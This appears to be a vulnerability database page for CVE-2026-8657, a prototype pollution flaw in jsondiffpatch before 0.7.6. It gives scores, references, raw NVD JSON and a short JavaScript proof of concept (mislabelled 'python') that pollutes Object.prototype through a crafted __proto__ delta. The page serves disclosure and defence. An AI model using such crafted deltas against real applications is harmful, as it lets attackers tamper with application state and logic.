CVE-2026-8657

Description

Versions of the package jsondiffpatch before 0.7.6 are vulnerable to Prototype Pollution via the jsondiffpatch.patch() and jsondiffpatch/formatters/jsonpatch.patch() APIs. An attacker can perform prototype pollution by supplying crafted delta or JSON Patch documents, as attacker-controlled property names and path segments are used to traverse and modify objects without restricting access to special properties like __proto__ or constructor.prototype, allowing modification of Object.prototype.

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

No configuration data available.

jsondiffpatch < 0.7.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-8657: jsondiffpatch Prototype Pollution
const jsondiffpatch = require('jsondiffpatch');

// Create a target object to patch
const target = {};

// Construct a malicious delta object targeting the prototype
const maliciousDelta = {
  "__proto__": {
    "isPolluted": true
  }
};

// Execute the patch function to trigger the vulnerability
jsondiffpatch.patch(target, maliciousDelta);

// Verify if Object.prototype has been polluted
console.log(({}).isPolluted); // Output: true indicates successful pollution

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8657
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8657
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8657/
[4] VulDB https://vuldb.com/cve/CVE-2026-8657
[5] https://gist.github.com/yuki-matsuhashi/e570fb1579ae1f3190059b622b0473fb
[6] https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/filters/nested.ts%23L107-L115
[7] https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/filters/nested.ts%23L82-L87
[8] https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/formatters/jsonpatch-apply.ts%23L146-L168
[9] https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/formatters/jsonpatch-apply.ts%23L171-L199
[10] https://github.com/benjamine/jsondiffpatch/commit/381c0125efab49f6f0dbc08317d01d55717672af
[11] https://security.snyk.io/vuln/SNYK-JS-JSONDIFFPATCH-16322990

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8657", "sourceIdentifier": "[email protected]", "published": "2026-05-16T06:16:18.727", "lastModified": "2026-05-16T06:16:18.727", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Versions of the package jsondiffpatch before 0.7.6 are vulnerable to Prototype Pollution via the jsondiffpatch.patch() and jsondiffpatch/formatters/jsonpatch.patch() APIs. An attacker can perform prototype pollution by supplying crafted delta or JSON Patch documents, as attacker-controlled property names and path segments are used to traverse and modify objects without restricting access to special properties like __proto__ or constructor.prototype, allowing modification of Object.prototype."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "references": [{"url": "https://gist.github.com/yuki-matsuhashi/e570fb1579ae1f3190059b622b0473fb", "source": "[email protected]"}, {"url": "https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/filters/nested.ts%23L107-L115", "source": "[email protected]"}, {"url": "https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/filters/nested.ts%23L82-L87", "source": "[email protected]"}, {"url": "https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/formatters/jsonpatch-apply.ts%23L146-L168", "source": "[email protected]"}, {"url": "https://github.com/benjamine/jsondiffpatch/blob/96112c35a98f9201dd75d67fcee68a952c79e2fe/packages/jsondiffpatch/src/formatters/jsonpatch-apply.ts%23L171-L199", "source": "[email protected]"}, {"url": "https://github.com/benjamine/jsondiffpatch/commit/381c0125efab49f6f0dbc08317d01d55717672af", "source": "[email protected]"}, {"url": "https://security.snyk.io/vuln/SNYK-JS-JSONDIFFPATCH-16322990", "source": "[email protected]"}]}}